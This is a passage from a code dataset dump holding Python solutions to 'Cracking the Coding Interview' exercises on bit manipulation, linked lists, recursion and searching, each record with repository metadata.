0\n while c&1 == 0 and c != 0:\n c0 += 1\n c >>= 1\n\n while c&1 == 1:\n c1 += 1\n c >>= 1\n\n if c0+c1 == 31 or c0+c1 == 0:\n return -1\n\n # Arithmetically,\n # 2^c0 = 1 << c0\n # 2^(c1-1) = 1 << (c0 - 1)\n # next = n + 2^c0 + 2^(c1-1) - 1\n return n + (1<<c0) + (1<<(c1-1)) - 1\n\ndef get_prev_arith(n):\n tmp = n\n c0 = 0\n c1 = 0\n while tmp&1 == 1 and tmp != 0:\n c1 += 1\n tmp >>= 1\n\n if tmp == 0:\n return -1\n\n while tmp&1 == 0 and tmp != 0:\n c0 += 1\n tmp >>= 1\n\n # Arithmetically,\n # 2^c1 = 1 << c1\n # 2^(c0 - 1) = 1 << (c0 - 1)\n return n - (1<<c1) - (1<<(c0-1)) + 1\n\n\nif __name__ == '__main__':\n i = 13948\n p1 = get_prev_arith(i)\n n1 = get_next_arith(i)\n print(f'Previous : {p1} : {bin(p1)}')\n print(f'Target : {i} : {bin(i)}')\n print(f'Next : {n1} : {bin(n1)}')\n" }, { "alpha_fraction": 0.5239263772964478, "alphanum_fraction": 0.5423312783241272, "avg_line_length": 24.46875, "blob_id": "59c7748c9add43bc5043225ce1ebd33b0d67e587", "content_id": "60f50f041af9672336e4b97157ae6dbd49652d4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 815, "license_type": "no_license", "max_line_length": 87, "num_lines": 32, "path": "/chap8/Q2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def get_path(maze):\n '''\n Get available # of paths\n Args: int[][] maze: maze 2-dim list\n Returns: int: # of paths\n '''\n if maze is None or len(maze) == 0:\n return None\n path = []\n if is_path(maze, len(maze)-1, len(maze[0])-1, path):\n return path\n return None\n\ndef is_path(maze, row, col, path):\n if col < 0 or row < 0 or not maze[row][col]:\n return False\n\n at_origin = (row == 0) and (col == 0)\n\n if at_origin or is_path(maze, row, col-1, path) or is_path(maze, row-1, col, path):\n point = (row, col)\n path.append(point)\n return True\n return False\n\n\nif __name__ == '__main__':\n row, col = 3, 4\n maze = [[True]*col for _ in range(row)]\n forbid_y, forbid_x = 1, 2\n maze[forbid_y][forbid_x] = False\n print(get_path(maze))\n" }, { "alpha_fraction": 0.5090579986572266, "alphanum_fraction": 0.54076087474823, "avg_line_length": 26.600000381469727, "blob_id": "03cb4afdf4c26fb3d75a99e7b357b399fc062975", "content_id": "8d0a417807e08155574a4075ac34c76220634d1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1104, "license_type": "no_license", "max_line_length": 76, "num_lines": 40, "path": "/chap10/Q4.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "# Unable to use len(array)\nclass Listy:\n def __init__(self, array):\n self.array = array\n\n def __len__(self):\n raise NotImplementedError('len(listy) is not implemented')\n\n def element_at(self, index):\n # only internally able to get size\n if index >= len(self.array):\n return -1\n else:\n return self.array[index]\n\ndef binary_search(listy, value, low, high):\n while low <= high:\n mid = (low+high)//2\n middle = listy.element_at(mid)\n if middle > value or middle == -1:\n high = mid-1\n elif middle < value:\n low = mid+1\n else:\n return mid\n\n return -1\n\ndef search(listy, value):\n index = 1\n while listy.element_at(index) != -1 and listy.element_at(index) < value:\n index *= 2\n return binary_search(listy, value, index//2, index)\n\nif __name__ == '__main__':\n array = [1, 2, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14, 16, 18]\n listy = Listy(array)\n for a in array:\n print(f'{a} is at {search(listy, a)}')\n print(f'{15} is at {search(listy, 15)}')\n" }, { "alpha_fraction": 0.5718309879302979, "alphanum_fraction": 0.5868544578552246, "avg_line_length": 26.30769157409668, "blob_id": "a943db41609092d36035da581f1b10c0ca64bd0f", "content_id": "07dc0bb3c6065bdb6668af757884075279491d1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 81, "num_lines": 39, "path": "/chap8/Q2_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def get_path_memorized(maze):\n '''\n Get path by memolization\n Args: bool[][] maze: target maze by 2D list\n Returns: list<tuple(int*2)> path\n '''\n if maze == None or len(maze) == 0:\n return None\n path = []\n failed_points = []\n if is_path_memorized(maze, len(maze)-1, len(maze[0])-1, path, failed_points):\n return path\n return None\n\ndef is_path_memorized(maze, row, col, path, failed_points):\n if col < 0 or row < 0 or not maze[row][col]:\n return False\n point = (row, col)\n\n if point in failed_points:\n return False\n\n at_origin = (row == 0) and (col == 0)\n\n if at_origin or is_path_memorized(maze, row-1, col, path, failed_points) \\\n or is_path_memorized(maze, row, col-1, path, failed_points):\n path.append(point)\n return True\n\n failed_points.append(point)\n return False\n\n\nif __name__ == '__main__':\n row, col = 3, 4\n maze = [[True]*col for _ in range(row)]\n forbid_y, forbid_x = 1, 2\n maze[forbid_y][forbid_x] = False\n print(get_path_memorized(maze))\n" }, { "alpha_fraction": 0.4263754189014435, "alphanum_fraction": 0.45954692363739014, "avg_line_length": 19.94915199279785, "blob_id": "646aaf09f49cdc2e5e427cff48c0445ccf8451e7", "content_id": "2b821b097fb1f5cccb45c8c054ebf1860cec03d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1236, "license_type": "no_license", "max_line_length": 51, "num_lines": 59, "path": "/chap5/Q2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def print_binary(num):\n \"\"\"\n Return binary representation of 0-1 real value\n \n Args:\n - float num: target value\n\n Returns:\n - str: binary representation of input value\n \"\"\"\n if num >= 1 or num <= 0:\n return 'ERROR'\n\n binary = '.'\n while num > 0:\n if len(binary) > 32:\n return 'ERROR'\n r = num*2\n if r >= 1:\n binary += '1'\n num = r-1\n else:\n binary += '0'\n num = r\n return binary\n\n\ndef print_binary2(num):\n \"\"\"\n Alternative solution\n \"\"\"\n if num >= 1 or num <= 0:\n return 'ERROR'\n\n binary = '.'\n frac = 0.5\n while num > 0:\n # Setting a limit on length: 32 characters\n if len(binary) >= 32:\n return 'ERROR'\n \n if num >= frac:\n binary += '1'\n num -= frac\n else:\n binary += '0'\n frac /= 2\n return binary\n\nif __name__ == '__main__':\n bs = print_binary(0.125)\n print(bs)\n\n for i in range(1000):\n num = i/1000.\n binary = print_binary(num)\n binary2 = print_binary2(num)\n if binary != 'ERROR' or binary2 != 'ERROR':\n print(f'{num} : {binary} {binary2}')\n" }, { "alpha_fraction": 0.501265823841095, "alphanum_fraction": 0.5240506529808044, "avg_line_length": 22.235294342041016, "blob_id": "2de686316dea5a8346c36d8a8486c167a24ba03f", "content_id": "36ac3fdd473e3f12d98e2f29778ff44517b75752", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 66, "num_lines": 17, "path": "/chap8/Q1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def count_ways(n):\n '''\n Count the number of paths by recursive operation\n Args: int n: # of stairs\n Returns: int: patterns of path\n '''\n if n < 0:\n return 0\n elif n == 0:\n return 1\n else:\n return count_ways(n-1) + count_ways(n-2) + count_ways(n-3)\n \nif __name__ == '__main__':\n n = 20\n ways = count_ways(n)\n print(f'{ways} ways found.')\n" }, { "alpha_fraction": 0.45942720770835876, "alphanum_fraction": 0.5131264925003052, "avg_line_length": 22.27777862548828, "blob_id": "2d0b1cf0d545e27a77782dd505b23569b76612fa", "content_id": "0f38d85152cb1b711d7e882b14909ec38e6d04a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1676, "license_type": "no_license", "max_line_length": 83, "num_lines": 72, "path": "/chap5/Q4_alt1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def get_next(n):\n c = n\n c0 = 0\n c1 = 0\n while c&1 == 0 and c != 0:\n c0 += 1\n c >>= 1\n\n while c&1 == 1:\n c1 += 1\n c >>= 1\n\n # If c is 0, then n is a sequence of 1s followed by a sequence of 0s.\n # This is already the biggest number with c1 ones. Return error\n if c0+c1 == 31 or c0+c1 == 0:\n return -1\n\n # Position of right-most non-trailing 0 (where the right most bit is bit 0)\n pos = c0+c1\n\n # Flip the right-most non-trailing 0 (which will be at position pos)\n n |= (1<<pos)\n\n # Clear all bits to the right of pos\n n &= ~((1<<pos) - 1)\n\n # Put (ones-1) 1s on the right\n n |= (1 << (c1-1)) - 1\n\n return n\n\ndef get_prev(n):\n tmp = n\n c0 = 0\n c1 = 0\n while tmp&1 == 1:\n c1 += 1\n tmp >>= 1\n\n # If tmp is 0, then the number is a sequence of 0s folowed by a sequence of 1s,\n # This is already the smallest number with c1 ones. Return -1 for an error\n if tmp == 0:\n return -1\n\n while tmp&1 == 0 and tmp != 0:\n c0 += 1\n tmp >>= 1\n\n # Position od right-most non-trailing one (where the right most bit is bit 0)\n p = c0+c1\n\n # Flip right-most non-trailing one.\n # Clears from bit p onwards (to the right)\n n &= ((~0) << (p+1))\n\n # Create a sequence of (c1+1) 1s.\n # Sequence of (c1+1) ones\n mask = (1<<(c1+1))- 1\n\n # Move the ones to be right up next to bit p\n n |= mask << (c0-1)\n\n return n\n \n\nif __name__ == '__main__':\n i = 13948\n p1 = get_prev(i)\n n1 = get_next(i)\n print(f'Previous : {p1} : {bin(p1)}')\n print(f'Target : {i} : {bin(i)}')\n print(f'Next : {n1} : {bin(n1)}')\n" }, { "alpha_fraction": 0.49179431796073914, "alphanum_fraction": 0.49945294857025146, "avg_line_length": 24.041095733642578, "blob_id": "a1dc70e739e123ad284b6e4751d203a0a4cd68d0", "content_id": "ece6e74e4734a4eefc58856dddc237cf5b3a7ab7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2210, "license_type": "no_license", "max_line_length": 91, "num_lines": 73, "path": "/chap2/linkedlist.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class Node:\n \"\"\"\n import linkedlistがなぜかimportできないので、自分で書く\n \"\"\"\n\n def __init__(self, d=None):\n self.data = d\n self.next = None # odeを受け渡すようにすると多分ポインター参照になるらし\n\n def appendToTail(self, d=None):\n end = Node(d) # あたらしいノード\n n = self\n # 一番終端のノードまで移動する必要がある。\n while (n.next != None):\n n = n.next\n n.next = end\n\n def appendNodeToTail(self, node):\n n = self\n # 一番終端のノードまで移動する必要がある。\n while (n.next != None):\n n = n.next\n n.next = node\n\n def printls(self):\n n = self\n while n.next != None:\n print(n.data, end=\", \")\n n = n.next\n print(n.data)\n\n def get_Nth_node(self, N):\n \"\"\"\n 配列ライクにN番目のノードを返す(データではない)\n \"\"\"\n n = self\n if N < 0:\n print(\"Index out of bound. return the first node\")\n for _ in range(N):\n if n.next == None:\n print(\"Index out of bound. return the last node\")\n break\n n = n.next\n return n\n\n def remove_Nth_node(self, N):\n if N == 0:\n print(\n \"there is a bug. please use \\\"get_Nth_node(1)\\\" to remove the first Node.\")\n # ここにバグが有ってなぜか1つ目の自分自身のポインターが書き換わらない\n n = self\n n = n.next\n else:\n prerm = self.get_Nth_node(N - 1) # 削除したいノードの一つ前のリンクを書き換える必要がある\n prerm.next = self.get_Nth_node(N).next\n #. -> . ->(この矢印を書き換える必要がある) .(削除したい) -> .\n\n\nif __name__ == \"__main__\":\n\n nd = Node(1)\n nd.appendToTail(3)\n nd.appendToTail(5)\n nd.appendToTail(7)\n nd.appendToTail(9)\n\n nd.printls()\n print(nd.get_Nth_node(3).data)\n print(nd.get_Nth_node(4).data)\n print(nd.get_Nth_node(5).data)\n\n nd.remove_Nth_node(3)\n nd.printls()\n" }, { "alpha_fraction": 0.49870800971984863, "alphanum_fraction": 0.5503876209259033, "avg_line_length": 25.586206436157227, "blob_id": "f7702562495689aa800bff0da18a34b593cd7e02", "content_id": "2ece61be6fadcc0eef8df7270d7140d4908fc6bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1548, "license_type": "no_license", "max_line_length": 59, "num_lines": 58, "path": "/chap2/Q5.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.linkedlist import LinkedList\n\n\ndef solve(llist_1, llist_2):\n n1, n2 = llist_1.head, llist_2.head\n llist_ans = LinkedList()\n carry = 0\n while n1 is not None or n2 is not None:\n result = carry\n if n1 is not None:\n result += n1.value\n n1 = n1.next\n if n2 is not None:\n result += n2.value\n n2 = n2.next\n\n llist_ans.append(result%10)\n carry = result//10\n\n if carry > 0:\n llist_ans.append(carry)\n\n print(f'{str(llist_1)} + {str(llist_2)} = {llist_ans}')\n\ndef solve2(llist_1, llist_2):\n if len(llist_1) > len(llist_2):\n for _ in range(len(llist_1) - len(llist_2)):\n llist_2.pad_head()\n elif len(llist_2) > len(llist_1):\n for _ in range(len(llist_2) - len(llist_1)):\n llist_1.pad_head()\n\n n1, n2 = llist_1.head, llist_2.head\n llist_ans = LinkedList()\n result = 0\n while n1 is not None and n2 is not None:\n result = 10*result+n1.value+n2.value\n n1 = n1.next\n n2 = n2.next\n\n for v in str(result):\n llist_ans.append(int(v))\n\n print(f'{str(llist_1)} + {str(llist_2)} = {llist_ans}')\n\n\nif __name__ == '__main__':\n llist_1, llist_2 = LinkedList(), LinkedList()\n llist_1.append_all([7, 1, 6])\n llist_2.append_all([5, 9, 2])\n solve(llist_1, llist_2)\n\n llist_1, llist_2 = LinkedList(), LinkedList()\n llist_1.append_all([1, 2, 3, 4])\n llist_2.append_all([5, 6, 7])\n solve2(llist_1, llist_2)\n\n \n" }, { "alpha_fraction": 0.3920454680919647, "alphanum_fraction": 0.4545454680919647, "avg_line_length": 24.14285659790039, "blob_id": "24fb87114d099ebcf93cf184022247b22183dc8e", "content_id": "4fd570c85c1ba0b98b6562392f32274ce504ff83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 528, "license_type": "no_license", "max_line_length": 53, "num_lines": 21, "path": "/chap10/Q1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def merge(a, b, lastA, lastB):\n index_merged = lastB + lastA - 1\n indexA = lastA - 1\n indexB = lastB - 1\n\n while indexB >= 0:\n if indexA >= 0 and a[indexA] > b[indexB]:\n a[index_merged] = a[indexA]\n indexA -= 1\n else:\n a[index_merged] = b[indexB]\n indexB -= 1\n index_merged -= 1\n\n return a\n\nif __name__ == '__main__':\n a = [2, 3, 4, 5, 6, 8, 10, 100, 0, 0, 0, 0, 0, 0]\n b = [1, 4, 7, 6, 7, 7]\n merged = merge(a, b, 8, 6)\n print(merged)\n" }, { "alpha_fraction": 0.4920863211154938, "alphanum_fraction": 0.5093525052070618, "avg_line_length": 21.419355392456055, "blob_id": "9487f87116e56fae4f9f48f8e99f63f5617c3a3b", "content_id": "3e7f78ed86b7943d3ffbeb3d26c27fd7eb5a3624", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 695, "license_type": "no_license", "max_line_length": 90, "num_lines": 31, "path": "/chap8/Q1_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def count_ways(n):\n '''\n Count ways of upstairs\n Args: int n: # of upstairs\n Returns: int: ways\n '''\n map_ = [-1]*(n+1)\n return count_ways_(n, map_)\n \ndef count_ways_(n, memo):\n '''\n Memorize and calculate ways\n Args:\n - int n: # of current stair\n - int[] memo: memo of observed result\n Returns: int: sum of ways\n '''\n if n < 0:\n return 0\n elif n == 0:\n return 1\n elif memo[n] > -1:\n return memo[n]\n else:\n memo[n] = count_ways_(n-1, memo) + count_ways_(n-2, memo) + count_ways_(n-3, memo)\n return memo[n]\n\nif __name__ == '__main__':\n n = 20\n ways = count_ways(n)\n print(f'{ways} ways found.')\n" }, { "alpha_fraction": 0.4529540538787842, "alphanum_fraction": 0.4595186114311218, "avg_line_length": 23.052631378173828, "blob_id": "d953a926b9deacd30a6b20c92188d2a41875a3e3", "content_id": "05c78af1c88513ff1529b29e6fb2b2459fc12dc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 914, "license_type": "no_license", "max_line_length": 65, "num_lines": 38, "path": "/utils/misc.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "from collections import deque\nfrom .tree import TreeNode\n\ndef create_tree_from_array(array):\n \"\"\"\n Create tree by mapping the array left to right, top to bottom\n \n Args:\n - list array: list of contents values\n\n Returns:\n - TreeNode root: root node\n \"\"\"\n if len(array) > 0:\n root = TreeNode(array[0])\n que = deque()\n que.append(root)\n done = False\n i = 1\n while not done:\n r = que[0]\n if r.left is None:\n r.left = TreeNode(array[i])\n i += 1\n que.append(r.left)\n elif r.right is None:\n r.right = TreeNode(array[i])\n i += 1\n que.append(r.right)\n else:\n _ = que.popleft()\n \n if i == len(array):\n done = True\n\n return root\n else:\n return None\n" }, { "alpha_fraction": 0.42344045639038086, "alphanum_fraction": 0.4508506655693054, "avg_line_length": 26.842105865478516, "blob_id": "ca4dea512f436485bc79c869b314a4110f2d1a39", "content_id": "d9543f80c748b3344c90a9a70ad9720acb76869e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1058, "license_type": "no_license", "max_line_length": 55, "num_lines": 38, "path": "/chap10/Q3.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def search(a, x):\n return _search(a, 0, len(a)-1, x)\n\ndef _search(a, left, right, x):\n mid = (left + right)//2\n if x == a[mid]:\n return mid\n if right < left:\n return -1\n\n\n # Operation for inflection point caused by rotation\n if a[left] < a[mid]:\n if x >= a[left] and x < a[mid]:\n return _search(a, left, mid-1, x)\n else:\n return _search(a, mid+1, right, x)\n elif a[mid] < a[left]:\n if x > a[mid] and x <= a[right]:\n return _search(a, mid+1, right, x)\n else:\n return _search(a, left, mid-1, x)\n elif a[left] == a[mid]:\n if a[mid] != a[right]:\n return _search(a, mid+1, right, x)\n else:\n result = _search(a, left, mid-1, x)\n if result == -1:\n return _search(a, mid+1, right, x)\n else:\n return result\n \n return -1\n\nif __name__ == '__main__':\n a = [2, 3, 1, 2, 2, 2, 2, 2, 2, 2, 2]\n for n in [2, 3, 4, 1, 8]:\n print(f'{n} is at {search(a, n)}')\n" }, { "alpha_fraction": 0.4624697268009186, "alphanum_fraction": 0.49636805057525635, "avg_line_length": 27.465517044067383, "blob_id": "affdeb2b74dacc4168edf15d30b40b6cfd6ca64d", "content_id": "5df1ba65d6da8edd02703dda0ed4733842f2639f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1652, "license_type": "no_license", "max_line_length": 63, "num_lines": 58, "path": "/chap5/Q8.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def compute_byte_num(width, x, y):\n return (width*y + x) // 8\n\ndef draw_line(screen, width, x1, x2, y):\n start_offset = x1%8\n first_full_bytes = x1//8\n if start_offset != 0:\n first_full_bytes += 1\n\n end_offset = x2%8\n last_full_bytes = x2//8\n if end_offset != 7:\n last_full_bytes -= 1\n\n for b in range(first_full_bytes, last_full_bytes+1):\n screen[(width//8) * y + b] = 0xFF\n\n start_mask = 0xFF>>start_offset\n end_mask = ~(0xFF>>(end_offset+1))\n\n if x1//8 == x2//8:\n mask = start_mask&end_mask\n screen[(width//8) * y + (x1 // 8)] |= mask\n else:\n if start_offset != 0:\n byte_number = (width//8) * y + first_full_bytes - 1\n screen[byte_number] |= start_mask\n if end_offset != 7:\n byte_number = (width//8) * y + last_full_bytes + 1\n screen[byte_number] |= end_mask\n \n return screen\n\ndef print_byte(b):\n for i in range(7, -1, -1):\n c = '1' if (b>>i)&1 == 1 else '_'\n print(c, end = \"\")\n\ndef print_screen(screen, width):\n height = len(screen)*8//width\n for r in range(height):\n for c in range(0, width, 8):\n b = screen[compute_byte_num(width, c, r)]\n print_byte(b)\n print('')\n\n\nif __name__ == '__main__':\n width = 8*1\n height = 1\n for r in range(height):\n for c1 in range(width):\n for c2 in range(c1, width, 2):\n screen = [0]*(width*height//8)\n\n print(f'Row {r} : {c1} -> {c2} : ', end = '')\n screen = draw_line(screen, width, c1, c2, r)\n print_screen(screen, width)\n\n" }, { "alpha_fraction": 0.4952904284000397, "alphanum_fraction": 0.5510203838348389, "avg_line_length": 28.627906799316406, "blob_id": "6edfae12881715cf624c301a29e5b35c2f17a312", "content_id": "a0af31a704f70d4a9e930784441e51f027b95481", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1274, "license_type": "no_license", "max_line_length": 60, "num_lines": 43, "path": "/chap2/Q7.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.linkedlist import Node, LinkedList\n\n\ndef is_shared(llist_1, llist_2):\n if llist_1.tail is not llist_2.tail:\n return False\n \n n1, n2 = llist_1.head, llist_2.head\n if len(llist_1) > len(llist_2):\n for _ in range(len(llist_1) - len(llist_2)):\n n1 = n1.next\n elif len(llist_2) > len(llist_1):\n for _ in range(len(llist_2) - len(llist_1)):\n n2 = n2.next\n\n while n1 is not None and n2 is not None:\n if n1 is n2:\n return n1\n n1 = n1.next\n n2 = n2.next\n\n\nif __name__ == '__main__':\n # case1\n llist_1, llist_2 = LinkedList(), LinkedList()\n llist_1.append_all([3, 1, 5, 9])\n llist_2.append_all([4, 6])\n for v in [7, 2, 1]:\n tail_new = Node(v)\n llist_1.tail.next = tail_new\n llist_1.tail = tail_new\n llist_2.tail.next = tail_new\n llist_2.tail = tail_new\n ans = is_shared(llist_1, llist_2)\n print(f'{str(llist_1)} and {str(llist_2)} share? {ans}')\n\n llist_1, llist_2 = LinkedList(), LinkedList()\n llist_1.append_all([3, 1, 5, 9, 7, 2, 1])\n llist_2.append_all([4, 6, 7, 2, 1])\n ans = is_shared(llist_1, llist_2)\n print(f'{str(llist_1)} and {str(llist_2)} share? {ans}')\n" }, { "alpha_fraction": 0.43482065200805664, "alphanum_fraction": 0.47069117426872253, "avg_line_length": 17.435483932495117, "blob_id": "d03358664aca66f273cc9c39c07d9b234ec64b38", "content_id": "86c69698b9669c8d34ee8fb7e4fab6724f41f773", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1143, "license_type": "no_license", "max_line_length": 42, "num_lines": 62, "path": "/chap5/Q4.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "\"\"\" The most simple but cheap solution \"\"\"\n\ndef count_ones(i):\n count = 0\n while i > 0:\n if i&1 == 1:\n count += 1\n i >>= 1\n return count\n\ndef count_zeros(i):\n return 32 - count_ones(i)\n\ndef has_valid_next(i):\n if i == 0:\n return False\n \n count = 0\n while i&1 == 0:\n i >>= 1\n count += 1\n while i&1 == 1:\n i >>= 1\n count += 1\n\n if count == 31:\n return False\n \n return True\n\ndef has_valid_prev(i):\n while i&1 == 1:\n i >>= 1\n return True if i != 0 else False\n\ndef get_next_slow(i):\n if not has_valid_next(i):\n return -1\n\n num_ones = count_ones(i)\n i += 1\n while count_ones(i) != num_ones:\n i += 1\n return i\n\ndef get_prev_slow(i):\n if not has_valid_prev(i):\n return -1\n\n num_ones = count_ones(i)\n i -= 1\n while count_ones(i) != num_ones:\n i -= 1\n return i\n\nif __name__ == '__main__':\n i = 13948\n p1 = get_prev_slow(i)\n n1 = get_next_slow(i)\n print(f'Previous : {p1} : {bin(p1)}')\n print(f'Target : {i} : {bin(i)}')\n print(f'Next : {n1} : {bin(n1)}')\n" }, { "alpha_fraction": 0.5493519306182861, "alphanum_fraction": 0.5613160729408264, "avg_line_length": 22.880952835083008, "blob_id": "6b9fef4a0152e1d973bc1c0acdf67ff861e3c354", "content_id": "2e5c68b9745acb024519d2e97d198d238bfef42c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1003, "license_type": "no_license", "max_line_length": 66, "num_lines": 42, "path": "/chap2/Q8.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.linkedlist import LinkedList\n\ndef search(llist):\n fast = llist.head\n slow = llist.head\n # Running until correlation\n while fast is not None and fast.next is not None:\n fast = fast.next.next\n slow = slow.next\n if fast is slow:\n break\n\n if fast is None or fast.next is None:\n # loop absence\n return False\n fast = llist.head\n \n while fast is not slow:\n fast = fast.next\n slow = slow.next\n return fast\n \n\n\nif __name__ == '__main__':\n # create looping linkedlist\n llist = LinkedList()\n llist.append_all([0, 9, 1, 8])\n loop_head = llist.tail\n llist.append_all([2, 4, 7, 3, 5, 6])\n llist.tail.next = loop_head\n \n n = llist.head\n for _ in range(15):\n if n is loop_head: print(str(n)+'(loop head)', end = ', ')\n else: print(str(n), end = ', ')\n n = n.next\n\n ans = search(llist)\n print(f'\\nLoop head is {ans}.')\n" }, { "alpha_fraction": 0.4870550036430359, "alphanum_fraction": 0.4902912676334381, "avg_line_length": 23.68000030517578, "blob_id": "89b79638c66770a62145993e5411c878bddb0761", "content_id": "ce8832cd704ac22136fad1d06e6af8bcadb6aa1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 618, "license_type": "no_license", "max_line_length": 56, "num_lines": 25, "path": "/chap10/Q2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def sort(array):\n map_list = {}\n for string in array:\n key = sort_chars(string)\n if not key in map_list.keys():\n map_list[key] = [string]\n else:\n map_list[key].append(string)\n\n index = 0\n for key in map_list.keys():\n for t in map_list[key]:\n array[index] = t\n index += 1\n\n return array\n \ndef sort_chars(s):\n return ''.join(sorted(list(s)))\n\nif __name__ == '__main__':\n array = [\"apple\", \"banana\", \"carrot\", \"ele\", \"duck\",\n \"papel\", \"tarroc\", \"cudk\", \"eel\", \"lee\"]\n array = sort(array)\n print(array)\n\n" }, { "alpha_fraction": 0.38164252042770386, "alphanum_fraction": 0.43236714601516724, "avg_line_length": 19.700000762939453, "blob_id": "0dc02b500c864ca48821b8816870cab31db7549d", "content_id": "71a45a53aebc3cbdfb3a7eed305da225d1750256", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 414, "license_type": "no_license", "max_line_length": 65, "num_lines": 20, "path": "/chap5/Q6_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def bit_swap_required(a, b):\n count = 0\n if a > 0 and b < 0:\n b = abs(b)\n count += 1\n elif a < 0 and b > 0:\n a = abs(a)\n count += 1\n\n c = a^b\n while c != 0:\n count += 1\n c = c&(c-1)\n return count\n\nif __name__ == '__main__':\n a = -23432\n b = 512132\n ans = bit_swap_required(a, b)\n print(f'{ans} bit required to convert {bin(a)} <-> {bin(b)}')\n" }, { "alpha_fraction": 0.49706459045410156, "alphanum_fraction": 0.5362035036087036, "avg_line_length": 27.38888931274414, "blob_id": "c4f8ec5f0444ff03069853e734d9c0f5d1852e9d", "content_id": "1302ea861598bff0dd5a666eebaf3419550c7ae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 511, "license_type": "no_license", "max_line_length": 56, "num_lines": 18, "path": "/chap10/Q7.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "# This solution is a bit wring as the actual setting\ndef find_open_number(numbers):\n bit_field = [0]*(2**16//8)\n for n in numbers:\n bit_field[n//8] |= 1<<(n%8)\n\n opens = []\n for i in range(len(bit_field)):\n for j in range(8):\n if bit_field[i] & (1<<j) == 0:\n opens.append(i*8+j)\n\n print(f'{opens[:5]} ... are opened')\n\nif __name__ == '__main__':\n import numpy as np\n numbers = np.random.random_integers(0, 2**15, 2**16)\n find_open_number(numbers)\n" }, { "alpha_fraction": 0.4882681667804718, "alphanum_fraction": 0.5117318630218506, "avg_line_length": 24.571428298950195, "blob_id": "5763edc8afadbf8ab18528966288de0fa8ab206a", "content_id": "2120994a8806da40f11db093cd8e3141325fb110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 895, "license_type": "no_license", "max_line_length": 63, "num_lines": 35, "path": "/chap8/Q12.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "GRID_SIZE = 8\n\ndef place_queens(row, cols, results):\n if row == GRID_SIZE:\n # results.append(cols)\n return 1\n else:\n ways = 0\n for col in range(GRID_SIZE):\n if check_valid(cols, row, col):\n cols[row] = col\n # results = place_queens(row+1, cols, results)\n ways += place_queens(row+1, cols, results)\n return ways\n \n\ndef check_valid(cols, row1, col1):\n for row2 in range(row1):\n col2 = cols[row2]\n\n if col1 == col2:\n return False\n\n col_dist = abs(col2 - col1)\n row_dist = row1 - row2\n if col_dist == row_dist:\n return False\n \n return True\n\nif __name__ == '__main__':\n results = []\n cols = [-1]*GRID_SIZE\n ways = place_queens(0, cols, results)\n print(f'8x8 board has {ways} patterns of queen placements')\n" }, { "alpha_fraction": 0.45868945121765137, "alphanum_fraction": 0.470085471868515, "avg_line_length": 29.08571434020996, "blob_id": "9a0010ab0202d17832a71365a9088cb3928fc4fd", "content_id": "2256f11bdee87d5a35d8b389e56ff31c423d5d25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1053, "license_type": "no_license", "max_line_length": 77, "num_lines": 35, "path": "/chap10/Q5.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def search(strings, string, first, last):\n if strings is None or string is None or string == '':\n return -1\n if first > last:\n return -1\n\n mid = (last + first)//2\n if strings[mid] == '':\n left = 